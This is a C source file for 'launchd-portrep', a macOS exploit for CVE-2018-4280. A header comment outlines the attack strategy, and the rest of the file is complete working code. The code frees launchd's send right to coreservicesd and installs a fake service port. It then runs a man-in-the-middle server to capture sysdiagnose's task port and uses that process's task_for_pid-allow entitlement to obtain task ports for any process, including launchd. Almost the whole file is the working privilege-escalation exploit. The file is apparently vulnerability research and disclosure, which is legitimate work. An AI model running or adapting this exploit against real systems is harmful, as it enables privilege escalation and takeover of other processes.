/* * launchd-portrep * Brandon Azad * * CVE-2018-4280 * * * Exploit strategy to get task_for_pid-allow * ------------------------------------------------------------------------------------------------ * * This bug is a less general version of CVE-2016-7637, a Mach port user reference handling issue * in XNU discovered by Ian Beer that allowed processes to free Mach ports in other processes [1]. * Ian Beer exploited that vulnerability on macOS by replacing launchd's send right to the * com.apple.CoreServices.coreservicesd endpoint and impersonating coreservicesd to the rest of * the system. Coreservicesd is an attractive target because it is one of a few services to which * clients will send their task port in a Mach message. By replacing launchd's send right to * coreservicesd with his own port and then triggering privileged clients to look up and * communicate with coreservicesd, he was able to obtain the task port for a privileged process * and then execute code within that process. * * [1]: https://bugs.chromium.org/p/project-zero/issues/detail?id=959 * * Since the behavior on macOS hasn't changed, I basically copied Ian Beer's exploit strategy for * this vulnerability. We send exception messages to launchd containing coreservicesd's service * port until we free launchd's send right to that port. We can detect when we've freed the right * by calling bootstrap_look_up() again on the service: if launchd returns an invalid port name, * then we've successfully freed launchd's send right to the port. Then, we repeatedly register * and unregister a large number of services with launchd until one of the services we register is * assigned the same Mach port name in launchd's IPC space as the original coreservicesd port. At * this point, any process that looks up com.apple.CoreServices.coreservicesd in launchd will * receive a send right to our fake service rather than the real coreservicesd. We then run a MITM * server on the fake service port, inspecting all Mach ports in the messages received from * clients before sending them along to the real coreservicesd. At this point we send a message to * sysdiagnose causing it to run a tailspin, which causes sysdiagnose to connect to our fake * coreservicesd port and send us its task port. Since sysdiagnose has the task_for_pid-allow * entitlement, we can now get the task port for any process. * * In order to (mostly) restore proper functioning of the system, we use sysdiagnose to obtain * launchd's task port, and then use launchd's task port to replace launchd's send right to our * fake service port back with a send right to the real coreservicesd. That way future clients can * actually reach coreservicesd. * * One problem I've noticed with this approach is that the system seems to hang on shutdown for a * short while. I'm assuming that this is because tampering with launchd's ports messes up some of * launchd's accounting or port notifications. I haven't investigated this issue further, but * restarting coreservicesd using launchctl seems to fix it: * * $ sudo launchctl kickstart -k -p system/com.apple.coreservicesd * */ #include "exploit.h" #include "launchd_portrep.h" #include "log.h" #include #include #include #include #include #include #include // ---- Mach messaging ---------------------------------------------------------------------------- // Receive a mach message on a port and pass it to the specified handler block. static bool mach_receive_message(mach_port_t port, mach_msg_timeout_t timeout, void (^handler)(mach_msg_header_t *msg)) { kern_return_t kr; // Loop until we get the buffer size right. mach_msg_header_t *msg; size_t msg_size = 0x1000; mach_msg_option_t options = MACH_RCV_MSG | MACH_RCV_LARGE | MACH_RCV_TRAILER_TYPE(MACH_MSG_TRAILER_FORMAT_0) | MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_AUDIT); if (timeout != MACH_MSG_TIMEOUT_NONE) { options |= MACH_RCV_TIMEOUT; } for (;;) { // Allocate a buffer for the message. msg = malloc(msg_size); assert(msg != NULL); // Try to receive the message. kr = mach_msg(msg, options, 0, (mach_msg_size_t) msg_size, port, timeout, MACH_PORT_NULL); if (kr != MACH_RCV_TOO_LARGE) { break; } // Allocate a bigger message buffer next time. This should only happen once, if the // kernel doesn't like to us. free(msg); msg_size = msg->msgh_size + REQUESTED_TRAILER_SIZE(options); } // Handle any errors. if (kr != KERN_SUCCESS) { goto done; } // Process the message. handler(msg); done: free(msg); return (kr == KERN_SUCCESS); } // Send a Mach message. static bool mach_send_message(mach_msg_header_t *msg) { kern_return_t kr = mach_msg(msg, MACH_SEND_MSG, msg->msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (kr != KERN_SUCCESS) { ERROR("%s: 0x%x", "mach_msg", kr); } return (kr == KERN_SUCCESS); } // Get the PID from a Mach message sent with an audit trailer. static pid_t mach_message_get_pid(mach_msg_header_t *msg) { mach_msg_audit_trailer_t *trailer = (void *) ((uint8_t *)msg + msg->msgh_size); return trailer->msgh_audit.val[5]; } // ---- Mach MITM server -------------------------------------------------------------------------- // Translate a right type sent in a Mach message so that the port is sent along to the destination. static mach_msg_type_name_t mach_mitm_forward_right_type(mach_msg_type_name_t right_type) { switch (right_type) { case MACH_MSG_TYPE_PORT_RECEIVE: return MACH_MSG_TYPE_MOVE_RECEIVE; case MACH_MSG_TYPE_PORT_SEND: return MACH_MSG_TYPE_MOVE_SEND; case MACH_MSG_TYPE_PORT_SEND_ONCE: return MACH_MSG_TYPE_MOVE_SEND_ONCE; default: return 0; } } // Translate a descriptor sent in a Mach message so that all resources are sent along to the // destination. static mach_msg_type_descriptor_t * mach_mitm_forward_descriptor(mach_msg_type_descriptor_t *descriptor) { mach_msg_descriptor_t *d = (mach_msg_descriptor_t *)descriptor; void *next = descriptor + 1; switch (d->type.type) { case MACH_MSG_PORT_DESCRIPTOR: d->port.disposition = mach_mitm_forward_right_type(d->port.disposition); next = &d->port + 1; break; case MACH_MSG_OOL_DESCRIPTOR: case MACH_MSG_OOL_VOLATILE_DESCRIPTOR: d->out_of_line.deallocate = 1; next = &d->out_of_line + 1; break; case MACH_MSG_OOL_PORTS_DESCRIPTOR: d->ool_ports.deallocate = 1; d->ool_ports.disposition = mach_mitm_forward_right_type(d->ool_ports.disposition); next = &d->ool_ports + 1; break; } return next; } // Process an inbound message on our fake service port so that it can be sent over to the real // service port. static void mach_mitm_modify_for_forwarding(mach_msg_header_t *msg, mach_port_t real_service) { // Modify the message so that the service will reply directly to the client. We can't // actually fool the service into thinking that we have the UID/PID/etc. of the true client // because the audit token (set by the kernel) will tell them who we are, but we will fool // the client into thinking they're talking with the true service. mach_msg_type_name_t client_remote_right = MACH_MSGH_BITS_REMOTE(msg->msgh_bits); mach_msg_type_name_t client_voucher_right = MACH_MSGH_BITS_VOUCHER(msg->msgh_bits); mach_msg_bits_t other_bits = MACH_MSGH_BITS_OTHER(msg->msgh_bits); bool is_complex = MACH_MSGH_BITS_IS_COMPLEX(msg->msgh_bits); mach_port_t client_port = msg->msgh_remote_port; mach_msg_type_name_t new_remote_right = MACH_MSG_TYPE_COPY_SEND; mach_msg_type_name_t new_local_right = mach_mitm_forward_right_type(client_remote_right); mach_msg_type_name_t new_voucher_right = mach_mitm_forward_right_type(client_voucher_right); msg->msgh_bits = MACH_MSGH_BITS_SET(new_remote_right, new_local_right, new_voucher_right, other_bits); msg->msgh_remote_port = real_service; msg->msgh_local_port = client_port; if (is_complex) { mach_msg_body_t *body = (mach_msg_body_t *)(msg + 1); mach_msg_type_descriptor_t *descriptor = (mach_msg_type_descriptor_t *)(body + 1); for (size_t i = 0; i < body->msgh_descriptor_count; i++) { descriptor = mach_mitm_forward_descriptor(descriptor); } } } // Create a MIG error response for the given message. The reply struct should be zeroed beforehand. static void mach_mig_create_error(mach_msg_header_t *request, mig_reply_error_t *reply, kern_return_t kr) { reply->Head.msgh_bits = MACH_MSGH_BITS_SET_PORTS(MACH_MSGH_BITS_REMOTE(request->msgh_bits), 0, 0); reply->Head.msgh_size = sizeof(*reply); reply->Head.msgh_remote_port = request->msgh_remote_port; reply->Head.msgh_id = request->msgh_id + 100; reply->NDR = NDR_record; reply->RetCode = kr; } // The type of a Mach message handler function. typedef bool (^mach_mitm_server_message_handler_t)(mach_msg_header_t *msg); // Run the MITM server to process a single message. static bool mach_mitm_server_once(mach_port_t real_service, mach_port_t fake_service, mach_mitm_server_message_handler_t handle_message) { return mach_receive_message(fake_service, MACH_MSG_TIMEOUT_NONE, ^(mach_msg_header_t *msg) { // Create a reply struct in case sending doesn't work. mig_reply_error_t error_reply = {}; mach_mig_create_error(msg, &error_reply, KERN_FAILURE); // Pass the message to the handler function. This function will indicate whether // we should forward the message or abort the connection. bool forward = handle_message(msg); // If we should forward the message, try to do so. bool sent = false; if (forward) { DEBUG_TRACE(2, "Forwarding message 0x%x", msg->msgh_id); mach_mitm_modify_for_forwarding(msg, real_service); sent = mach_send_message(msg); } // If we haven't sent the message (either because the message handler told us not // to or because the send to failed), send an error reply to the client. if (!sent) { sent = mach_send_message(&error_reply.Head); // Note that the error reply message consumes the remote port in the // original message, so we don't want to free that again. if (sent) { msg->msgh_remote_port = MACH_PORT_NULL; } mach_msg_destroy(msg); } }); } // Run the MITM server in a loop until we encounter an error. static void mach_mitm_server(mach_port_t real_service, mach_port_t fake_service, mach_mitm_server_message_handler_t handle_message) { bool ok; do { ok = mach_mitm_server_once(real_service, fake_service, handle_message); } while (ok); } // ---- Mach message inspection ------------------------------------------------------------------- // Inspect all the Mach ports in a Mach message descriptor. static mach_msg_type_descriptor_t * mach_descriptor_inspect_ports(mach_msg_type_descriptor_t *descriptor, bool (^inspect_port)(mach_port_t)) { mach_msg_descriptor_t *d = (mach_msg_descriptor_t *)descriptor; mach_port_t port; void *next = descriptor + 1; switch (d->type.type) { case MACH_MSG_PORT_DESCRIPTOR: port = d->port.name; if (MACH_PORT_VALID(port)) { if (inspect_port(port)) { return NULL; } } next = &d->port + 1; break; case MACH_MSG_OOL_DESCRIPTOR: case MACH_MSG_OOL_VOLATILE_DESCRIPTOR: next = &d->out_of_line + 1; break; case MACH_MSG_OOL_PORTS_DESCRIPTOR: next = &d->ool_ports + 1; mach_port_t *ports = (mach_port_t *)d->ool_ports.address; mach_port_t *end = ports + d->ool_ports.count; for (; ports < end; ports++) { port = *ports; if (MACH_PORT_VALID(port)) { if (inspect_port(port)) { return NULL; } } } break; } return next; } // Inspect all the Mach ports in a Mach message (except for msgh_local_port). static void mach_message_inspect_ports(mach_msg_header_t *msg, bool (^inspect_port)(mach_port_t)) { if (MACH_PORT_VALID(msg->msgh_remote_port)) { if (inspect_port(msg->msgh_remote_port)) { return; } } if (MACH_MSGH_BITS_IS_COMPLEX(msg->msgh_bits)) { mach_msg_body_t *body = (mach_msg_body_t *)(msg + 1); mach_msg_type_descriptor_t *descriptor = (mach_msg_type_descriptor_t *)(body + 1); for (size_t i = 0; descriptor != NULL && i < body->msgh_descriptor_count; i++) { descriptor = mach_descriptor_inspect_ports(descriptor, inspect_port); } } } // ---- Task manipulation ------------------------------------------------------------------------- // Get the port name for a Mach port, which must be a send right, held in a task. This routine is a // hack: There's no API to do this directly, so we gather the list of Mach port names in the task // and test every one individually to see if it's a match. static kern_return_t task_get_send_right_name(task_t task, mach_port_t port, mach_port_name_t *port_name) { // First get all the names. mach_port_name_array_t names; mach_msg_type_number_t name_count; mach_port_type_array_t types; mach_msg_type_number_t type_count; kern_return_t kr = mach_port_names(task, &names, &name_count, &types, &type_count); if (kr != KERN_SUCCESS) { ERROR("%s: 0x%x", "mach_port_names", kr); goto fail_0; } // Next try to insert the local port into the task's IPC namespace under every possible // port name. We do it this way rather than extracting to avoid an extra dealloc every time // we miss, even though that also means we may mistakenly insert the port into the task's // IPC namespace if it wasn't already there. (We know it'll be there for this exploit.) // mach_port_insert_right may return: // KERN_SUCCESS: Either the port didn't already exist in the task and the original // port with this name was freed since we called mach_port_names, or // we have found the correct port name. In either case, the name now // refers to the port. // KERN_NAME_EXISTS: The name exists in the task and it's not the target port. Keep // searching. // KERN_RIGHT_EXISTS: The name does not exist in the task, but port has a different name // in the task. Keep searching. for (size_t i = 0; i < name_count; i++) { // Skip it if it isn't a pure send right. if ((types[i] & MACH_PORT_TYPE_ALL_RIGHTS) != MACH_PORT_TYPE_SEND) { continue; } // Try to insert it. kern_return_t kr2 = mach_port_insert_right(task, names[i], port, MACH_MSG_TYPE_COPY_SEND); switch (kr2) { case KERN_SUCCESS: *port_name = names[i]; goto port_inserted; case KERN_NAME_EXISTS: case KERN_RIGHT_EXISTS: break; default: kr = kr2; ERROR("%s: 0x%x", "mach_port_insert_right", kr); goto fail_1; } } // The right doesn't seem to exist in the task. ERROR("Not found"); kr = KERN_INVALID_VALUE; goto fail_1; port_inserted: fail_1: mach_vm_deallocate(mach_task_self(), (mach_vm_address_t) names, name_count * sizeof(*names)); mach_vm_deallocate(mach_task_self(), (mach_vm_address_t) types, type_count * sizeof(*types)); fail_0: return kr; } // Replace a Mach send right in a task with a different send right. static kern_return_t task_replace_send_right(task_t task, mach_port_name_t port_name, mach_port_t new_port) { // First deallocate the port name in the task. kern_return_t kr = mach_port_destroy(task, port_name); if (kr != KERN_SUCCESS) { ERROR("%s: 0x%x", "mach_port_destroy", kr); goto fail_0; } // Now insert the new port into the task under the original name. kr = mach_port_insert_right(task, port_name, new_port, MACH_MSG_TYPE_COPY_SEND); if (kr != KERN_SUCCESS) { // Whoops. Sorry. Can't really fix it. ERROR("%s: 0x%x", "mach_port_insert_right", kr); } fail_0: return kr; } // ---- Threadexec routines ----------------------------------------------------------------------- #define ERROR_REMOTE_CALL(fn) \ ERROR("Could not call %s in remote task", #fn) #define ERROR_REMOTE_CALL_RETURN(fn, fmt, ret) \ ERROR("Remote call to %s returned "fmt, #fn, ret) // Call task_for_pid in the threadexec task. static bool threadexec_task_for_pid_remote(threadexec_t threadexec, pid_t pid, mach_port_t *task_remote) { kern_return_t kr; bool ok = threadexec_call_cv(threadexec, &kr, sizeof(kr), task_for_pid, 3, TX_CARG_LITERAL(mach_port_t, threadexec_task_remote(threadexec)), TX_CARG_LITERAL(int, pid), TX_CARG_PTR_LITERAL_OUT(mach_port_t *, task_remote)); if (!ok) { ERROR_REMOTE_CALL(task_for_pid); return false; } if (kr != KERN_SUCCESS) { ERROR_REMOTE_CALL_RETURN(task_for_pid, "%u", kr); return false; } return true; } // Call task_for_pid in the threadexec task and copy the port to the local task. static bool threadexec_task_for_pid_local_and_remote(threadexec_t threadexec, pid_t pid, mach_port_t *task_l, mach_port_t *task_r) { // Get the task port for the process in the remote task. mach_port_t task_r0; bool ok = threadexec_task_for_pid_remote(threadexec, pid, &task_r0); if (!ok) { goto fail_0; } // Copy the task port locally. ok = threadexec_mach_port_extract(threadexec, task_r0, task_l, MACH_MSG_TYPE_COPY_SEND); if (!ok) { ERROR("Could not copy task port locally"); goto fail_1; } // Success. *task_r = task_r0; return true; fail_1: threadexec_mach_port_deallocate(threadexec, task_r0); fail_0: return false; } // Call task_for_pid in the threadexec task and move the returned task port to the local task. bool threadexec_task_for_pid(threadexec_t threadexec, pid_t pid, mach_port_t *task) { mach_port_t task_r; bool success = threadexec_task_for_pid_local_and_remote(threadexec, pid, task, &task_r); if (!success) { return false; } threadexec_mach_port_deallocate(threadexec, task_r); return true; } // ---- Exploit logic ----------------------------------------------------------------------------- // Launch a sysdiagnose tailspin, which will cause sysdiagnose to interact with coreservicesd. static bool start_sysdiagnose_tailspin(pid_t *pid) { const char *SYSDIAGNOSE_KERNEL_PORT_NAME = "com.apple.sysdiagnose.kernel.ipc"; bool success = false; mach_port_t sysdiagnose_port; kern_return_t kr = bootstrap_look_up(bootstrap_port, SYSDIAGNOSE_KERNEL_PORT_NAME, &sysdiagnose_port); if (kr != KERN_SUCCESS) { ERROR("Could not get sysdiagnose port: %d", kr); goto fail_0; } union { struct { mach_msg_header_t Head; NDR_record_t NDR; int32_t keychord; } msg; struct { mach_msg_header_t Head; NDR_record_t NDR; kern_return_t RetCode; mach_msg_audit_trailer_t trailer; } reply; } u = {}; u.msg.Head.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE, 0, 0); u.msg.Head.msgh_size = sizeof(u.msg); u.msg.Head.msgh_remote_port = sysdiagnose_port; u.msg.Head.msgh_local_port = mig_get_reply_port(); u.msg.Head.msgh_id = 31337; u.msg.NDR = NDR_record; u.msg.keychord = 54; kr = mach_msg(&u.msg.Head, MACH_SEND_MSG | MACH_RCV_MSG | MACH_RCV_TRAILER_TYPE(MACH_MSG_TRAILER_FORMAT_0) | MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_AUDIT), u.msg.Head.msgh_size, sizeof(u.reply), u.msg.Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (kr != KERN_SUCCESS) { ERROR("Could not send tailspin message to sysdiagnose"); goto fail_1; } *pid = mach_message_get_pid(&u.reply.Head); success = true; fail_1: mach_port_deallocate(mach_task_self(), sysdiagnose_port); fail_0: return success; } // Fix the mess we've made in launchd. Since we freed the original service, we'll want to restore // the original port name to refer back to the real service. I'm not sure if the exploit also // disrupted the port notifications or any other state, but we won't worry about that. static bool restore_launchd_service(threadexec_t threadexec, mach_port_t real_service, mach_port_t fake_service) { bool success = false; // Get launchd's task port. mach_port_t launchd_task; bool ok = threadexec_task_for_pid(threadexec, 1, &launchd_task); if (!ok) { ERROR("Could not get launchd's task port"); goto fail_0; } // Get the name of the service port in launchd's IPC space. mach_port_name_t service_port_name; kern_return_t kr = task_get_send_right_name(launchd_task, fake_service, &service_port_name); if (kr != KERN_SUCCESS) { ERROR("Could not find the Mach port name of the service port we freed in launchd"); goto fail_1; } // Now replace the fake service back with the real service. kr = task_replace_send_right(launchd_task, service_port_name, real_service); if (kr != KERN_SUCCESS) { ERROR("Could not restore original service Mach port in launchd"); goto fail_1; } // Add a reference because launchd services tend to have 2 urefs. kr = mach_port_mod_refs(launchd_task, service_port_name, MACH_PORT_RIGHT_SEND, 1); if (kr != KERN_SUCCESS) { ERROR("Could not add a ref to the restored Mach service"); } success = true; fail_1: mach_port_deallocate(mach_task_self(), launchd_task); fail_0: return success; } threadexec_t exploit() { const char *CORESERVICESD_SERVICE_NAME = "com.apple.CoreServices.coreservicesd"; // Replace launchd's send right to the coreservicesd service with a fake service port. mach_port_t real_coreservicesd, fake_coreservicesd; bool ok = launchd_replace_service_port(CORESERVICESD_SERVICE_NAME, &real_coreservicesd, &fake_coreservicesd); if (!ok) { return MACH_PORT_NULL; } // Launch sysdiagnose and make it perform a tailspin so that it tries to interact with // coreservicesd. This will cause sysdiagnose to send its task port to coreservicesd, which // is useful because sysdiagnose is task_for_pid-allow. Any messages it sends will be // queued on the fake service port, so it's fine to spawn it before starting the MITM // server. // // While it may appear otherwise, there is no race condition here: sysdiagnose will reply // to the launch message and asynchronously start the tailspin. If the tailspin arrives // first, it will send a message to the fake coreservicesd port and block, allowing the // reply to the original launch notification message to complete first. pid_t sysdiagnose_pid = -1; ok = start_sysdiagnose_tailspin(&sysdiagnose_pid); if (ok) { INFO("Sysdiagnose has PID %d", sysdiagnose_pid); } else { WARNING("Could not launch sysdiagnose"); } // Now run a MITM server on the fake coreservicesd port, on which we will receive // connections from clients attempting to reach the real coreservicesd service. Allow // messages through unless they seem likely to cause a crash later. mach_port_t host_self = mach_host_self(); __block threadexec_t sysdiagnose_tx = NULL; __block bool fixed = false; mach_mitm_server(real_coreservicesd, fake_coreservicesd, ^bool (mach_msg_header_t *msg) { // Print the contents of the message. #if DEBUG_LEVEL(3) printf("\nNew message:\n"); size_t print_size = msg->msgh_size + sizeof(mach_msg_trailer_t); size_t print_end = print_size / sizeof(uint32_t); for (size_t i = 0; i < print_end; i++) { int is_eol = (i % 4 == 3 || i == print_end - 1); printf("%08x%c", ((uint32_t *) msg)[i], (is_eol ? '\n' : ' ')); } #endif assert(sysdiagnose_tx == NULL); // Reject all messages that do not pertain to coreservicesd. pid_t sender_pid = mach_message_get_pid(msg); if (sender_pid != sysdiagnose_pid) { DEBUG_TRACE(2, "Rejecting message from PID %d", sender_pid); return false; } // Inspect the message to see if it contains the sysdiagnose task. __block mach_port_t sysdiagnose_task = MACH_PORT_NULL; mach_message_inspect_ports(msg, ^bool (mach_port_t port) { int pid = -2; pid_for_task(port, &pid); if (pid == sysdiagnose_pid) { sysdiagnose_task = port; return true; } return false; }); // If we just got the sysdiagnose task port, perform the actual exploit. if (sysdiagnose_task != MACH_PORT_NULL) { INFO("Found sysdiagnose task port 0x%x", sysdiagnose_task); // Create a threadexec for sysdiagnose. sysdiagnose_tx = threadexec_init(sysdiagnose_task, MACH_PORT_NULL, TX_SUSPEND_THREADS | TX_KILL_TASK); if (sysdiagnose_tx == NULL) { ERROR("Could not create execution context in sysdiagnose"); } else { // Add a reference count to the sysdiagnose_task port. mach_port_mod_refs(mach_task_self(), sysdiagnose_task, MACH_PORT_RIGHT_SEND, 1); // Repair the damage we did to launchd by restoring the original // coreservicesd port. DEBUG_TRACE(1, "Fixing exploit damage"); fixed = restore_launchd_service(sysdiagnose_tx, real_coreservicesd, fake_coreservicesd); } // Destroy the fake service port, which will prevent us from getting new // connections and break us out of the MITM server loop. DEBUG_TRACE(2, "Destroying fake service port"); mach_port_destroy(mach_task_self(), fake_coreservicesd); // Don't MITM the message. return false; } // Now reject messages with id 0x2715 (the one with the task port) and 0x2720 // (which seems to be related to apps crashing). return (msg->msgh_id != 0x2715 && msg->msgh_id != 0x2720); }); // Clean up ports we no longer need. mach_port_deallocate(mach_task_self(), host_self); mach_port_deallocate(mach_task_self(), real_coreservicesd); // Warn if we couldn't repair the system. if (!fixed) { ERROR("Could not fix the damage from the exploit!"); ERROR("The system may be unstable!"); } return sysdiagnose_tx; }